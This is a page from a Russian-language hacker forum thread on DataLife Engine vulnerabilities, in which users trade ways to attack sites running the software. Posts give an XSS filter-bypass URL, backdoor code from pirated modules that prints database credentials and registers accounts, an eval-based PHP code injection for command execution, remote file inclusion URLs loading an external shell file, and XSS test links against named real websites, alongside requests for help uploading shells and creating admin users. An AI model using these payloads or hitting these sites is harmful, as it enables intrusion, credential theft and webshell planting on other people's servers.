[ Обзор уязвимостей DataLife Engine ]

Discussion in 'Веб-уязвимости' started by Solide Snake, 28 Oct 2007.

  1. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    xss

    xss, проверял на 8.5 и 8.2

    file /engine/modules/imagepreview.php
    PHP:

    $_GET
    ['image'] = @htmlspecialchars ($_GET['image'], ENT_QUOTES);

    if( 
    preg_match"/[?&;%<\[\]]/"$_GET['image'] ) ) $_GET['image'] = "";

    $_GET['image'] = str_replace"document.cookie"""$_GET['image'] );
    $_GET['image'] = str_replace"javascript"""$_GET['image'] );

    http://dle85.ru/engine/modules/imagepreview.php?image=javajavascriptscript:alert(String.fromCharCode(120,115,115))
     
    #161 chekist, 26 Jun 2010
    Last edited: 26 Jun 2010
    1 person likes this.
  2. Alex$09

    Alex$09 New Member

    Joined:
    1 Oct 2009
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    Дядя ZloY как всегда постарался(как понел это типо бекдоры в нуллах и модулях от злово и его "мега команды")...
    1)

    require_once ENGINE_DIR.'/data/dbconfig.php';


    echo "<b>dbconfig.php</b> : Host = ".DBHOST." DBName = ".DBNAME." DBUser = ".DBUSER." DBPassword: ".DBPASS."<br><br>";

    2)
    require_once ENGINE_DIR.'/api/api.class.php';

    $user = md5(rand(0,10000));
    $password = md5(rand(0,1000));
    $res = $dle_api->external_register($user,$password,md5(rand(0,100000))."@mail

    .ru",1);
    echo $res;

    echo $user;
    echo "<br>";
    echo $password;
    З.Ы. Кто знает как юзать плиз в личку кинь... Ах да, было найдено http://getdle.com/extras/referer/xss/1.txt и http://getdle.com/extras/referer/xss/2.txt
     
  3. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    А чо там юзать - просто при заходе на ./engine/data/dbconfig.php выводится логин, пасс и хост базы данных.
    А второе регистрирует нового юзверя и выводит пароль и логин.
     
  4. FlooP1k

    FlooP1k Banned

    Joined:
    28 Jul 2010
    Messages:
    95
    Likes Received:
    66
    Reputations:
    48
    Что то давно о ДЛЕ не чего не слышно уже как бы и 9.0 вышло ...
    И офф. сайт чето мудрит http://dle-news.ru/bags/v90/1127-nedostatochnaya-filtraciya-vhodyaschih-dannyh.html
     
  5. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    http://dle-news.ru/bags/v90/1127-nedostatochnaya-filtraciya-vhodyaschih-dannyh.html

    )), пофиксели мой приватный способ заливки шелла
     
    #165 chekist, 18 Sep 2010
    Last edited: 10 Oct 2010
    1 person likes this.
  6. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    Там два момента. На мой взгялд они не связаны (с поиском и средактором шаблона). Редактор доступен только из админки, и вот что мне удалось натестить:

    Если отправить POST запрос приблизительного следующего содержания:

    HTML:
    <form method="post" action="/admin.php?mod=templates"> 
    <input type=hidden name=user_hash value="ХЕШ_ЮЗЕРА">
    <input type="hidden" name="subaction" value="language"> 
    кнопка сабмит где то тут...
    <input type="hidden" name="do_template" value='строки_записываемые_в_config.php>
    <input type="hidden" name="do_language" value='строки_записываемые_в_config.php'>
    </form>
    Поигратся с кавычками, то можно затолкать туда php код для исполнения...

    С поиском так и не понял, что можно намутить
    __________________________________
    К моему предедёщему посту дополнение.
    В POST запросе нужно отправить:

    Code:
    {${@eval($_GET[cmd])}}
    после этого любая комманды вида:

    site.ru/?cmd=echo%20phpinfo();

    ЗЫ комманда д.б. закодирована urlencode();
    ___________________________________
    не стоим на месте:

    "глобальные массивы" д.б. ОN, а дальше:
    ?do=search&subaction=search&story=bla-bla&sql_count=Sql_Que..&titleonly=FOUR
     
    #166 slva2000, 21 Sep 2010
    Last edited: 23 Sep 2010
    1 person likes this.
  7. oko

    oko New Member

    Joined:
    1 May 2010
    Messages:
    28
    Likes Received:
    1
    Reputations:
    0
    Кто скажет что про это, http://dle-news.ru/bags/v90/1127-nedostatochnaya-filtraciya-vhodyaschih-dannyh.html какой то баг видно серьезный нашли
     
  8. LamerHacker

    LamerHacker New Member

    Joined:
    22 Sep 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    oko, а в посте перед тобой о чем расписано ?
    slva2000, получается воспользоваться багом с редактором шаблона можно только через админку ? :(
    И можешь чуть поподробней расписать, как использовать баг с поиском?
     
  9. FlooP1k

    FlooP1k Banned

    Joined:
    28 Jul 2010
    Messages:
    95
    Likes Received:
    66
    Reputations:
    48
    Помогите написать скрипт для ДЛЕ, что бы он добавил нового пользователя в бд с правами админа ...
     
  10. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    Раскрытие префикса к БД
    версии, вероятно, до 8.0

    1. Регаешься
    2. Авторизируешься
    3. Смотриш куку с именем, вида XXXX_name, которая принимает значение твоего логина,

    где XXXX - префикс к БД.
     
    #170 slva2000, 4 Nov 2010
    Last edited: 4 Nov 2010
  11. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    Это не префикс к БД, это просто название куки, она всегда dle_name, есть еще dle_password, dle_pm и dle_user_id. Проверено на dle7.0, dle7.3 и dle 7.5
     
    #171 попугай, 20 Nov 2010
    Last edited: 20 Nov 2010
  12. RexTiam

    RexTiam Member

    Joined:
    2 Nov 2009
    Messages:
    117
    Likes Received:
    45
    Reputations:
    5
    Выкладываю несколько сплоитов для DLE 8.3

    ttp://skripters.com/engine/inc/include/init.php?selected_language=http://loca
    lhost/c.txt?

    http://skripters.com/engine/inc/help.php?config[langs]=http://localhost/c.txt
    ?

    http://skripters.com/engine/ajax/pm.php?config[lang_=[EV!L]

    http://skripters.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://local
    host/c.txt?

    http://skripters.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://local
    host/c.txt?
     
  13. flinster

    flinster New Member

    Joined:
    29 Jan 2011
    Messages:
    52
    Likes Received:
    0
    Reputations:
    0
    Чет не врубился как юзать, подробнее можете расписать?
    Я так понимаю заливаем шелл.
    Залил я шелл допустим на народ, нашел парочку сайтов на дле данной версии и пробую... на некоторых просто белая страница, на других вылазиет какая то ошибка.
     
  14. Eviler

    Eviler Banned

    Joined:
    25 Aug 2009
    Messages:
    11
    Likes Received:
    0
    Reputations:
    -5
    ребят, у кого осталась уязвимая версия lostpassword.php для 8,2 или кто может сделать такую же темку для 8,3?) надо прикрутить на сайт)
     
  15. RexTiam

    RexTiam Member

    Joined:
    2 Nov 2009
    Messages:
    117
    Likes Received:
    45
    Reputations:
    5
    flinster, если не знаешь. Лучше не лезь сюда.
    так же изучи что такое Open VPN и Дедики. И соксы.
     
  16. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Рекс, херню написал (я про пост со "сплоитами"). Не знаешь - не лезь.
     
  17. Je[K]inS

    Je[K]inS New Member

    Joined:
    27 Sep 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Пиар лицензии или как ?
    Слышал подвержены все => 9.0.
    Кто знает как юзать дырку прошу пример в студию ;)
     
  18. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    Это вообще что-за баг? На официальном сайте нет про это, а в гугле описание бага нашел только на сайте, где он уже удален.
     
    2 people like this.
  19. KoT3

    KoT3 New Member

    Joined:
    24 Feb 2011
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Ты думаешь на офф сайте будут публиковать такую багу ? :D

    -> ппц ржунимагу...

    Дырку врядли в открытую опубликуют ибо 25% рунета уйдёт ф попу ибо юзают нулл от DLE...

    И врядли дыра вообще существует. Хотя надо проверить :)
     
  20. 0x0

    0x0 Banned

    Joined:
    22 Feb 2011
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    xss

    Фотоальбомы для DataLife Engine
    версия: 0.09 точно остальные не проверял
    тип: XSS
    site.ru/engine/photo/image.php?&filetype=gif&type=XSS
    примеры
    Code:
    http://dle-photo.admin-club.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
    http://www.turbooks.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
    http://www.mysoft-bel.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
    http://korshuniha.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
    http://dams.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
    http://nugon.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
     
    1 person likes this.